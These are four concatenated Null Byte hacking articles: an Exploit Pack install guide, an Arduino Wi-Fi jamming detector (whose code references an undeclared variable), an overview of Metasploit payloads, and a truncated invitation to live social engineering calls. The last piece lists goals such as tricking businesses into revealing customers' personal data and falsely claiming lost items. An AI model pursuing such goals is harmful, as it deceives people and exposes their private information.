Hack Like a Pro: How Windows Can Be a Hacking Platform, Pt. 1 (Exploit Pack) Β« Null Byte :: WonderHowTo | Welcome back, my tenderfoot hackers!As most of you know, I am strong advocate forusing Linux as a hacking platform. In fact, I would say thatwithout knowing Linux, you will never become a professional hacker/pentester.On the other hand, there are many here who come to Null Byte who do not have the time or inclination tostudy Linuxin order to hack. They are looking for relatively sophisticated hacks/exploits, but want to do them on a Windows or Mac platform. Although Metasploit will run on either of those platforms, it does not work well. Many of its capabilities are non-functional on, for instance, a Windows platform.There are some excellent hacking/pentesting applications that work well on Windows, such asCain and Abel,Wikto, andFOCA, but a new hacking framework calledExploit Packhas emerged that is platform independent.Exploit Pack, developed byJuan Sacco, is similar toMetasploitbut written in Java. Besides its universality and easy-to-use GUI, Exploit Pack allows you to develop exploits in the language of your choice (Metasploitexploits must be written in Ruby). We will examine that at a later time.Exploit Pack is open-source and released under the GPL license. Its free edition has over 350 exploits, while its Pro edition has nearly 35,000 exploits. Although we will be using the free edition here, the Pro edition costs 300 Euros (about $320 USD). As exploit frameworks go, that is very inexpensive.It is my hope that by demonstrating some of these hacks with Windows tools, that newbies will get a taste of what is possible and be inspired to continue on Null Byte tolearn Linuxand its tools and capabilities. This is because Linux is really the only operating system to use as a professional hacker, but in the meantimeβlet's explore and use Exploit Pack!Step 1: Download & Install JavaThe first step, of course, is to download and install Exploit Pack. As I mentioned above, it is written in Java, so it is requisite that you have Java 8 installed. You can go toOracle's websiteand download Java 8 for your architecture. Since I will be working on a 64-bit Windows 7 system, I downloaded the Windows x64 Java, as circled in the screenshot below.Of course, if you are using a different architecture, make certain to download the Java specific to your architecture. Please note that before downloading it, you must accept the license agreement, and you need to have a free account with Oracle, as well.Next, go ahead and install Java on your system after downloading it.Step 2: Download & Install Exploit PackNow, we can download and install Exploit Pack fromthe Exploit Pack website. Note that the MD5 hash is next to each of the downloads. It is a good practice to check to see if the MD5 of the downloaded code matches this MD5 to make certain that the code was not corrupted or otherwise altered.For those of you who want to use Exploit Pack withKali Linuxas a VMware virtual machine, note that Exploit Pack is available with Kali 2.0 as a VMware image (the last of the download choices).Step 3: Start Exploit PackOnce you have completed the Exploit Pack download, go to the directory you installed in. In my case, I created a directory named "Exploit Pack" and extracted all the components there.When you go to the directory with Exploit Pack, look for the executable .jar file as I circled above. Click on it and it will begin to open Exploit Pack.Click on "Continue" when this you see this splash screen to open the Exploit Pack GUI.Step 4: The Exploit Pack GUIWhen Exploit Pack is done executing, you should be greeted by a user friendly GUI like that below. For those that more comfortable with "point and click" rather than the command line ofLinux, you should find this interface intuitive and familiar, I hope.Click on image to enlarge.Step 5: Explore the InterfaceExploit Pack has a clean and easy-to-use interface. As you can see, if you go to the far left window, we can see three tabs, Exploits, Auxiliary and Target. If we click on Exploits, it brings up a long list of exploit categories, primarily classified by the target operating system (although there some some non-OS categories such as cgi, etc.).Click on image to enlarge.If we scroll down that list a bit, we will find the Windows exploits. Click and expand that list and it reveals a long list of Windows exploits that we might use to hack Windows systems. We will be using some of those in future tutorials.Click on image to enlarge.We can click on the "Auxiliary" tab andβsimilar to Metasploitβit contains the Scanner and DoS modules.We can search for modules by going to the "Module Search" box beneath the Exploit window, as seen below.Click on image to enlarge.In the Module Search window, we can choose to show active, recent, or everything, as well as search by name, author, or platform.Now that we have installed and have a basic understanding of Exploit Pack, come back to explore how to use it to hack nearly any type of system!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow to Hack Like a Pro:Hacking Windows Vista by Exploiting SMB2 VulnerabilitiesHack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHack Like a Pro:Remotely Add a New User Account to a Windows Server 2003 BoxHack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)How To:Hack Lets You Fully Activate a Bootleg Copy of Windows 8 Pro for FreeHack Like a Pro:How to Take Control of Windows Server 2003 Remotely by Launching a Reverse ShellHack Like a Pro:How to Find Exploits Using the Exploit Database in KaliHack Like a Pro:How to Cover Your Tracks So You Aren't DetectedHow to Hack Like a Pro:Getting Started with MetasploitHow To:Hack Your Kindle Touch to Get It Ready for Homebrew Apps & MoreHack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHow To:Run an VNC Server on Win7Hack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHow To:How to Henna Your Hair _Tutorial *Part.2Hack Like a Pro:Exploring the Inner Architecture of MetasploitHack Like a Pro:How to Remotely Grab a Screenshot of Someone's Compromised ComputerHack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHow To:Watch This Sunday's 2013 Pro Bowl Football Game OnlineHack Like a Pro:How to Save the World from Nuclear AnnihilationHow to Hack Windows 7:Sending Vulnerable Shortcut FilesHack Like a Pro:How to Exploit Adobe Flash with a Corrupted Movie File to Hack Windows 7How To:Hack Android Using Kali (Remotely)News:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Crash Your Roommate's Windows 7 PC with a LinkHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterNews:What does Pro Tools HD Native mean for you?How To:Keep Stroke Patients Active at Home w/ Wii FitHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItWeekend Homework:How to Become a Null Byte Contributor (1/12/2012)WTI:The Hangover Pt. 2Weekend Homework:How to Become a Null Byte ContributorNews:The Root Beer Hack Circle Caper |
How to Detect & Classify Wi-Fi Jamming Packets with the NodeMCU Β« Null Byte :: WonderHowTo | The most common Wi-Fi jamming attacks leverage deauthentication and disassociation packets to attack networks. This allows a low-cost ESP8266-based device programmed in Arduino to detect and classify Wi-Fi denial-of-service attacks by lighting a different color LED for each type of packet. The pattern of these colors can also allow us to fingerprint the tool being used to attack the network.Types of Jamming AttacksJammers used in electronic warfare typically require equipment that overwhelms the signal of the target with radio energy, making it impossible to distinguish between the signal and the noise being introduced to the channel the target is using to communicate; This kind of jamming is popular because it works, but it also requires specialized equipment that is banned or heavily regulated in most countries.Another type of jamming attempts to send messages that force the target to be disconnected from the network they are connected to, rather than drowning out a target's signal by trying to overwhelm it. You might think this kind of attack might only work if you are connected to the network, but this is where WPA has a severe flaw. Because so-called management frames are not encrypted, it is possible to send disruptive messages from outside the network which causes people inside the network to be unable to connect.Deauthentication PacketsThe most common way this sort of attack is done is with deauthentication packets. These are a type of "management" frame responsible for disconnecting a device from an access point. Forging these packets is the key tohacking many Wi-Fi networks, as you can forcibly disconnect any client from the network at any time. The ease of which this can be done is somewhat frightening and is often done as part of gathering a WPA handshake for cracking.Don't Miss:Detect Wi-Fi Jamming Attacks with a NodeMCU MonitorAside from momentarily using this disconnection to harvest a handshake to crack, you can also just let those deauths keep coming, which has the effect of peppering the client with deauth packets seemingly from the network they are connected to. Because these frames aren't encrypted, many programs take advantage of management frames by forging them and sending them to either one or all devices on a network.Dissasociation PacketsDisassociation packets are another type of management frame that is used to disconnect a node (meaning any device like a laptop or cell phone) from a nearby access point. The difference between deauthentication and disassociation frames is primarily that an AP looking to disconnect a rogue device would send a deauthentication packet to inform the device it has been disconnected from the network, whereas a disassociation packet is used to disconnect any nodes when the AP is powering down, rebooting, or leaving the area.Common Wi-Fi Denial of Service ToolsThere aremany different tools to attack Wi-Fi networks, and many of them just automate more basic tools likeAireplay-ngandMDK3. We've covered both using and detecting both tools before, but in this example, we'll be setting a few design goals for detecting attacks against a network. To do that, we need to understand the way each work to effectively jam a Wi-Fi network.Aireplay-ng is often used todisconnect clients momentarilyto obtain a Wi-Fi handshake, and it uses forged deauthentication packets to disconnect any networks or clients the user specifies either with a set number of deauthentication packets, or a continuous stream. It's also used in frameworks likeAirgeddon, which allow the results of scans to automatically be fed into Aireplay to actively attack any networks discovered in an area in real time.MDK3 uses a blend of disassociation and deauthentication packets, initially having a slower onset than an Aireplay-ng attack. This attack is also used in frameworks like Airgeddon, and it can be differentiated by the alternating pattern of deauthentication and disassociation packets it sends.Tweaking the Deauth DetectorTo design a detector, I looked to find a script for the NodeMCU to base our design off of. I found Spacehuhn'sDeauthDetector, which is a sketch in Arduino for ESP8266 devices like the NodeMCU that turns on an LED when a certain number of deauthentication or disassociation packets are detected. This is another of Spacehuhn's excellent designs, and you should check outhis website(disable ad blockers) to see more of his ESP8266-based projects.Don't Miss:Use an ESP8266 Beacon Spammer to Track Smartphone UsersInside the DeauthDetector code, I found exactly what I needed to use an LED to show the type of attack underway, rather than just turning on a light when an attack is present.if(buf[12] == 0xA0 || buf[12] == 0xC0){This line may look similar if you followed our guide tousing Wireshark to do the same thing. That's because the capture filter we used to find deauthentication and disassociation packets looks at the same elements, so we can split this code that looks for both into two different sections, one for managing a variable that tracks each kind of packet and turns on a corresponding LED to alert the user.What You'll NeedTo build this detector, you'll need a NodeMCU or ESP8266-based device. You'll also need a computer running Arduino IDE to program it, and either a three-color (RGB), four-pin LED or at least two LEDs to indicate when a packet of each type is detected. You'll need a breadboard to wire this all together as well, and it's recommended you use a resistor or potentiometer to avoid burning out your LED.Here's a list of what I ended up using:ESP8266 NodeMCU CP2102 development board wireless module(less than $6 per unit)Solderless breadboard kit with jumper wires(around $11, but you can probably find a single breadboard with a few jumpers for less)Tricolor LED(around $9 for a bunch, but you can get just one at a local store for super cheap)Micro-USB cable(you probably already have one of these)Resistors(optional, if you want the LED to last longer)Step 1: Download & Configure Arduino IDEThe free, cross-platformArduino IDEwill allow us to quickly prototype what we need. Arduino IDE (the IDE stands for "integrated development environment") allows you to quickly write and upload scripts to Arduino-like microcontroller devices.You can download the Arduino IDEfrom the official website. Once it's installed, you'll need to click on the "Arduino" drop-down menu, then select "Preferences." Next, paste the following URL into theAdditional Boards Manager URLsfield. Click "OK" to continue.http://arduino.esp8266.com/stable/package_esp8266com_index.jsonNext, you'll need to add the NodeMCU to theBoards Manager. To do this, you'll need to click on "Tools," then hover over the "Board" section to see the drop-down list of supported boards. At the top, click "Boards Manager" to open the window that will allow us to add more boards.When the Boards Manager window opens, type "esp8266" into the search bar. Select "esp8266" by "ESP8266 Community," and install it to add support for the NodeMCU to your Arduino IDE.Once this is done, you should be ready to program your NodeMCU. Plug your NodeMCU into your breadboard and your NodeMCU into the computer. When you click on "Tools," you should see the correct port auto-selected. Select the "NodeMCU 1.0."If you're using a bad cable, the port may not show up, so if you don't see anything after you've completed the other steps, try another cable first.Step 2: Download the DeauthDetectorNow that we have our IDE set up, we can download Spacehuhn's DeauthDetector to get started modifying the code. You can download the original versionhereif you'd like to follow along, but I'll be using my forked version below for our example.In a terminal window, type the following to download the modified DeauthDetector,change to its directory, andlist the contents.git clone https://github.com/skickar/DeauthDetector.git
cd DeauthDetector
lsOnce inside the new folder containing the downloaded files, you'll see an INO sketch file and two libraries that we will need for the project to work. Open the INO file in Arduino IDE, then click on "Sketch" in the menu at the top. Select "Add File" to select the two libraries we downloaded along with the INO file. Make sure to add mac.cpp and mac.h or our code will fail.Once we have the library added, we can push the code to our NodeMCU, but let's take a look inside the code and see how it works.Step 3: Tweak the Deauth Detector CodeFirst and most obviously, we have our main settings. There are a collection of definitions that dictate how the code functions. Here, we can define whether or not we want to channel hop or just stay on one channel by setting the "channelHopping" setting to "true."Depending on where we are, we can define the highest channel to scan to while channel hopping (Japan is 14, while the US only goes to 11), and the number of packets detected per minute which we will decide an attack is underway. Because we are tweaking the detector, this won't be so important.//===== SETTINGS =====//
#define channel 1 //the channel it should scan on (1-14)
#define channelHopping true //scan on all channels
#define maxChannel 13 //US = 11, EU = 13, Japan = 14
#define ledPin 2 //led pin ( 2 = built-in LED)
#define inverted false // invert HIGH/LOW for the LED
#define packetRate 3 //min. packets before it gets recognized as an attackNext, we have a series of variables which keep track of things in the script. I've added two variables to keep track of deauthentication and disassociation packets, creatively named "dissoc" and "deauth."#define scanTime 500 //scan time per channel in ms
//Mac from;
//Mac to;
unsigned long c = 0;
unsigned long deauth = 0;
unsigned long dissoc = 0;
unsigned long prevTime = 0;
unsigned long curTime = 0;
int curChannel = channel;Next, we have a sniffer function, and an "if" statement that adds to the "c" counter, which is counting how many deauthentication or disassociation packets we have received. I've commented this out because we will be tracking them individually.void sniffer(uint8_t *buf, uint16_t len) {
/* if(buf[12] == 0xA0 || buf[12] == 0xC0){
c++;
}
*/Instead, we'll insert two "if" statements that will add to a cooldown timer. Whenever we detect disassociation packets, we'll turn on an LED by setting the cooldown timer to 500, and then subtract one from the timer one each time we scan a packet that isn't a dissociation packet. This means the light will stay on continuously when an attack is underway and turn off as soon as the attack stops and normal traffic resumes. The same logic is true for deauthentication packets, which we track in the second "if" statement.if(buf[12] == 0xA0){
dissoc = 500;
}
if(buf[12] == 0xC0){
deauth = 500;
}Now, we'll decide what happens when the packet doesn't match, meaning it's a normal Wi-Fi packet and not one we're looking for. To handle this, we'll use an "else" clause that says that if the cooldown timer for "deauth" or "dissoc" is equal to or greater than one, subtract one from the timer. Otherwise, if the timer is already at zero, do nothing.else{
if (deauth >= 1){
deauth--;}
if (dissoc >= 1){
dissoc--;}
}In our setup loop, we'll set up our pins for output mode and Spacehuhn's sniffer functions get to work scanning for packets. We specify we want to turn on pins D5, D6, and D7 with the pinMode(pin, mode) function, in this case turning the pins on for output mode. This code will let us control the LEDs from these pins.void setup() {
Serial.begin(115200);
wifi_set_opmode(STATION_MODE);
wifi_promiscuous_enable(0);
WiFi.disconnect();
wifi_set_promiscuous_rx_cb(sniffer);
wifi_set_channel(curChannel);
wifi_promiscuous_enable(1);
pinMode(D5, OUTPUT);
pinMode(D6, OUTPUT);
pinMode(D7, OUTPUT);
}Now, we have our main loop, the part of the code that runs over and over again. In this section of the code, we define the time and define the logic that actually turns on the LEDs.void loop() {
curTime = millis();
if(curTime - prevTime >= scanTime){
prevTime = curTime;In this section, we set up what happens depending on the value of our cooldown timer, which starts at zero but gets set to 500 each time there is a deauthentication or disassociation packet. Each is tracked separately and one is subtracted from each every time a normal packet is detected if the cooldown timer isn't already zero. Here, we simply say that if the cooldown timer is one or more, turn on the LED by turning the corresponding pin high. Also included is the logic for inverting the LED, which you can set true or false at the beginning.if(deauth >= 1){
if(inverted) digitalWrite(D5, LOW);
else digitalWrite(D5, HIGH);}
else{
if(inverted) digitalWrite(D5, HIGH);
else digitalWrite(D5, LOW);
}
if(dissoc >= 1){
if(inverted) digitalWrite(D7, LOW);
else digitalWrite(D7, HIGH);
}
else{
if(inverted) digitalWrite(D7, HIGH);
else digitalWrite(D7, LOW);
}Finally, we say that if the value of the cooldown timer is "else" (in this case, less than one), to turn off the LED. This is the last of our modifications, and the last part of the code controls the channel hopping and sets the NodeMCU to scan on the next channel, assuming channel hopping is enabled.if(channelHopping){
curChannel++;
if(curChannel > maxChannel) curChannel = 1;
wifi_set_channel(curChannel);
}
}
}The final code should look like this:#include <ESP8266WiFi.h>
#include "Mac.h"
extern "C" {
#include "user_interface.h"
}
//===== SETTINGS =====//
#define channel 1 //the channel it should scan on (1-14)
#define channelHopping true //scan on all channels
#define maxChannel 13 //US = 11, EU = 13, Japan = 14
#define ledPin 2 //led pin ( 2 = built-in LED)
#define inverted false // invert HIGH/LOW for the LED
#define packetRate 3 //min. packets before it gets recognized as an attack
#define scanTime 500 //scan time per channel in ms
unsigned long deauth = 0;
unsigned long dissoc = 0;
unsigned long prevTime = 0;
unsigned long curTime = 0;
int curChannel = channel;
void sniffer(uint8_t *buf, uint16_t len) {
if(buf[12] == 0xA0){
dissoc = 500;
}
if(buf[12] == 0xC0){
deauth = 500;
}
else{
if (deauth >= 1){
deauth--;}
if (dissoc >= 1){
dissoc--;}
}
//}
}
void setup() {
Serial.begin(115200);
wifi_set_opmode(STATION_MODE);
wifi_promiscuous_enable(0);
WiFi.disconnect();
wifi_set_promiscuous_rx_cb(sniffer);
wifi_set_channel(curChannel);
wifi_promiscuous_enable(1);
pinMode(D5, OUTPUT);
pinMode(D6, OUTPUT);
pinMode(D7, OUTPUT);
Serial.println("starting!");
}
void loop() {
curTime = millis();
if(curTime - prevTime >= scanTime){
prevTime = curTime;
Serial.println((String)c);
if(deauth >= 1){
if(inverted) digitalWrite(D5, LOW);
else digitalWrite(D5, HIGH);}
else{
if(inverted) digitalWrite(D5, HIGH);
else digitalWrite(D5, LOW);
}
if(dissoc >= 1){
if(inverted) digitalWrite(D7, LOW);
else digitalWrite(D7, HIGH);
}
else{
if(inverted) digitalWrite(D7, HIGH);
else digitalWrite(D7, LOW);
}
if(channelHopping){
curChannel++;
if(curChannel > maxChannel) curChannel = 1;
wifi_set_channel(curChannel);
}
}
}When the modifications are complete (or when you're ready since it's already done in our example), you can press the arrow icon in the top left of Arduino IDE to push your code to the NodeMCU.Step 4: Wire & Test the Modified DeauthDetectorOnce you have the code pushed to the NodeMCU, you can wire your four-pin, three-color RGB LED in one of two ways. Most direct is plugging it directly next to the D5, D6, D7, and ground pins on the mini breadboard. This works great, and probably won't burn out the LED, but to be safe, you may want to use a resistor in your design.On Amazon:Four-Pin LED with RGB ColorsTo include a resistor, place it between the ground pin and whichever ground pin you are using on the NodeMCU.Once this is wired, you should be ready to go!Follow our guides tousing MDK3andAirplay-ngto fire off some hostile packets against a network you have permission to, and see if the LED lights up in response. In addition, watch for patterns in the colors that appear, as they'll directly reflect the behavior of the program being used.You can check our guide on launching Wi-Fi denial of service attacks below. Be warned, these attacks are very illegal against networks you don't have permission to test, so make sure you have permission before doing so.More Info:Use MDK3 for Advanced Wi-Fi JammingHandheld Wi-Fi Jamming DetectorThis tool is a great way of visualizing Wi-Fi attacks and allows anyone to see when an attack is present and what kind of Wi-Fi packets are involved with a minimum of work. Rather than needing Wireshark running to see what's going on around you, this simple project shows whether an attack is in progress and, if so, what kind of attack is being used.I hope you enjoyed this guide to detecting and classifying Wi-Fi jamming attacks with the NodeMCU. If you have any questions about this tutorial on detecting Wi-Fi attacks or you have a comment, feel free to reach me on [email protected]'t Miss:More Null Byte Guides on Hacking Wi-FiFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow To:Detect When a Device Is Nearby with the ESP8266 Friend DetectorHow To:Program a $6 NodeMCU to Detect Wi-Fi Jamming Attacks in the Arduino IDEHow To:Detect Script-Kiddie Wi-Fi Jamming with WiresharkHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow To:Securely Sniff Wi-Fi Packets with SniffglueHow To:Use MDK3 for Advanced Wi-Fi JammingHow To:Pick an Antenna for Wi-Fi HackingHow To:Control Anything with a Wi-Fi Relay Switch Using aRestHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Use Kismet to Watch Wi-Fi User Activity Through WallsHow To:Inconspicuously Sniff Wi-Fi Data Packets Using an ESP8266Mac for Hackers:How to Set Up a MacOS System for Wi-Fi Packet CapturingHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:Spy on Traffic from a Smartphone with WiresharkHow To:Use an ESP8266 Beacon Spammer to Track Smartphone UsersHow To:Crack Wi-Fi PasswordsβFor Beginners!How to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Track Wi-Fi Devices & Connect to Them Using ProbequestHow To:Spy on Network Relationships with Airgraph-NgHow To:Intercept Images from a Security Camera Using WiresharkHow to Hack Wi-Fi:Choosing a Wireless Adapter for HackingNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow To:This DIY WiFi-Detecting 'Sting' Blade Is Perfect for Any Hobbit Looking for a HotspotHow To:Identify Antivirus Software Installed on a Target's Windows 10 PCHow To:Change a Phone's Coordinates by Spoofing Wi-Fi Geolocation HotspotsHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow To:A Hacker's Guide to Programming MicrocontrollersHow To:Check if Your Wireless Network Adapter Supports Monitor Mode & Packet InjectionHack Like a Pro:Creating a Virtually Undetectable Covert Channel with RECUBHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:Hack Wi-Fi Networks with BettercapRaspberry Pi:WiFi AnalyzerHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow To:Select a Field-Tested Kali Linux Compatible Wireless AdapterHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyRaspberry Pi Alternatives:10 Single-Board Computers Worthy of Hacking Projects Big & SmallHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android Device |
Hack Like a Pro: Metasploit for the Aspiring Hacker, Part 3 (Payloads) Β« Null Byte :: WonderHowTo | Welcome back, my tenderfoot hackers!As you know,Metasploitis an exploitation framework that every hacker should be knowledgeable of and skilled at. It is one of my favorite hacking tools available.Metasploit enables us to use pre-written exploits against known vulnerabilities in operating systems, browsers and other applications and place arootkit/listener/payloadon the target system. These payloads are what enable us to connect to the victim system and use it as our own after we have exploited a vulnerability in its system. In this tutorial, we will look exclusively at the payloads built into Metasploit.Metasploit has many types of payloads we can leave on the target system. We are most familiar with thegeneric/shell/reverse_tcpand thewindows/meterpreter/reverse_tcppayloads, having used those in multiple hacks already. In this guide, we will look at such things as how the payloads work, how Metasploit categorizes the payloads, and what the types of payloads are. I hope this understanding will help you to better choose the appropriate payload for your hack.Let's take a closer look at these payloads in Metasploit.Step 1: Fire Up Kali Linux & Open MetasploitWhen we openthe Metasploit consoleinKali Linux, we immediately see that Metasploit lists the number of exploits, auxiliary modules, post exploitation modules, payload modules, encoders, and nops.In the screenshot below, notice that there are 335 payloads in the current version of Metasploit (yours may be slightly different based upon your version of Metasploit). This is a huge number of payloads that can be used for multiple situations.When we type:msf > show payloadsMetasploit lists all 335 payloads as below.Step 2: Types of PayloadsAmong these 335 payloads in Metasploit, there are 8 types of payloads.InlineThese payloads are a single package of exploit and payload. They are inherently more stable, but because of their size, they can't always be used in small vulnerable memory areas.StagedThese payloads essentially are able to fit into very small spaces and create a foothold on the system and then pull rest of the payload.MeterpreterIs the all powerful payload that we most often want on a victim system. It works by .dll injection and resides entirely in memory, leaving no trace of its existence on the hard drive or file system. It has a number of specificcommandsandscriptsdeveloped for it, enabling us to largely work our will on the victim system.PassiveXThis payload is for use when firewall rules restrict outbound traffic. In essence, it uses ActiveX through Internet Explorer to hide its outbound traffic and evade the firewall by using HTTP requests and responds just as any browser would.NoNXIn some CPUs, there is a built-in security feature called DEP (Data Execution Prevention). In Windows, it is referred to as No eXecute, or NX. The idea behind this security feature is to keep from data making its way to the CPU and being executed. The NoNX payloads are designed to evade this safety feature of modern CPU's.OrdThese type of payloads work on nearly all Windows operating systems. These are extremely small, but somewhat unstable. They are dependent upon loading a .dll (dynamic link library) into the exploited process.IPv6These payloads, as their implies, are designed to work on IPv6 networks.Reflective DLL InjectionThese payload modules are injected directly into the target process while it is running in memory, thereby never writing anything to the hard drive and leaving little or no evidence behind.Step 3: Payload ModulesIf we look in the Metasploit directory theLinuxterminal in Kali, we can see that Metasploit categorizes its payloads into three different types. Obviously, the eight types above are consolidated into these three directories in Metasploit.kali > cd /usr/share/metasploit-framework/modules/payloadskali > ls -lStagedStaged payloads use tiny stagers (see below) to fit into small exploitation spaces. In other words, if the victim's system exploitation buffer or other memory area is very small and only allows a small amount of code to be executed, first a small stager is placed in the memory area. The stager then "pulls" the rest of the payload after this foothold is made on the victim system.These larger staged payloads include such complex payloads as the Meterpreter and VNC Injection, both of which include large and complex code. Generally, a staged payload will split the name of the payload between a "/", such as in the payloadwindows/shell/tcp_bind. The "tcp_bind" is the stager (see below) and "shell" is the staged.Unfortunately, this convention is not used consistently in Metasploit, so one often has to go to the "info" section of the payload or find the directory it is in to determine if it is a staged payload.StagersStagers are the small payloads whose only job is to fit into small memory area and then "pull" the larger staged payload along. They kind of "plant the flag" on the victim and then enable the larger payload to be loaded.SinglesOften referred to as "inline payloads," singles are self-contained units that do not require a stager. They are generally more stable and preferred, but many times the code is too large to for the vulnerable memory area on the victim system.Let's now take a look inside that singles directory.kali > cd singleskali > ls -lAs we can see, the singles are broken down by vulnerable platform. If we want to see the singles available for the Windows platform, we simply type:kali > cd windowskali > ls -lInside this directory we can see all the singles payloads available for Windows. I have highlighted one of these payloads,shell_reverse_tcp, that we have used in many of our hacks.Payloads are key part of the Metasploit infrastructure and provide us with access once the exploit has been completed. The better we understand them, the better we will be as a hackers.That's it for now. Make sure to check back in on myMetasploit Basics seriesfor more tutorials on Metasploit. So, keep coming back, my tenderfoot hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)News:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 2 (Keywords)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)How To:Simplify Payload Creation with MSFPC (MSFvenom Payload Creator)Hack Like a Pro:Exploring the Inner Architecture of MetasploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 9 (How to Install New Modules)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 11 (Post-Exploitation with Mimikatz)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:How to Save the World from Nuclear AnnihilationHack Like a Pro:How to Bypass Antivirus Software by Disguising an Exploit's SignatureHow To:Use MSFconsole's Generate Command to Obfuscate Payloads & Evade Antivirus DetectionHacking Windows 10:How to Break into Somebody's Computer Without a Password (Setting Up the Payload)Hack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHow To:Hack Your Neighbor with a Post-It Note, Part 2 (Setting Up the Attack)Hack Like a Pro:How to Hack Your School's Server to Download Final Exam AnswersHack Like a Pro:Metasploit for the Aspiring Hacker, Part 6 (Gaining Access to Tokens)Hack Like a Pro:How to Cover Your Tracks So You Aren't DetectedHack Like a Pro:Exploit MS Word to Embed a Listener on Your Roommate's ComputerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 7 (Autopwn)Hack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHack Like a Pro:How to Spear Phish with the Social Engineering Toolkit (SET) in BackTrackHack Like a Pro:Exploring Metasploit Auxiliary Modules (FTP Fuzzing)Hack Like a Pro:How to Change the Signature of Metasploit Payloads to Evade Antivirus DetectionHack Like a Pro:Hacking Samba on Ubuntu and Installing the Meterpreter |
Listen In: Live Social Engineering Phone Calls with Professional Social Engineers (Final Session) Β« Null Byte :: WonderHowTo | We had a blast during last week's social engineering calls. One of our attending social engineers was so clever that she convinced several people on Craigslist that lost items were hers, even if it seemed she couldn't be trusted. But females are better social engineers, naturally. Some say that females have a special knack for manipulating men, but I think that's preposterous. I can't see why that would be true in a million years (note my sarcasm).This week, we're at it again for one last social engineering meetup.Common Goals of Social Engineering CallsScoring needy people free foodManipulating and extending warrantiesContracting and haggling cheap services (just for practice)Tricking businesses into revealing personal information about customersLeading retail companies on for a sale to try to reduce prices as low as possibleI hope that these calls will serve as a first-hand guide for everyone to learn more about social engineering. This will serve as a very rare link from the small underground world of the "Fone Phreaks" to you, in hopes of teaching you how a professional social engineer manipulates the human mind to their advantage with ease. This includes what fake names statistically work best, which scenarios, accents the manipulator uses and more.RequirementsSkype accountIRC clientHow Does This Work?This coming Monday night, you can join the IRC channel for an invite to a Skype room filled with professional social engineers! If you're new to IRC, gohereto learn how to set it up and use it. If you attend IRC and show interest, you will receive an invite to the chat and conference.When Does It Start?Monday starting at5 p.m. PST(8 p.m. EST). If you need to convert the time to another time zone, just go to theTime Zone Converter. This will be our last social engineering group phone session, so make sure you're there. You won't want to miss it!PLEASE,arrive on time.You will be left out if you do not arrive on time.GoalsI hope for this to teach you all about the threats and 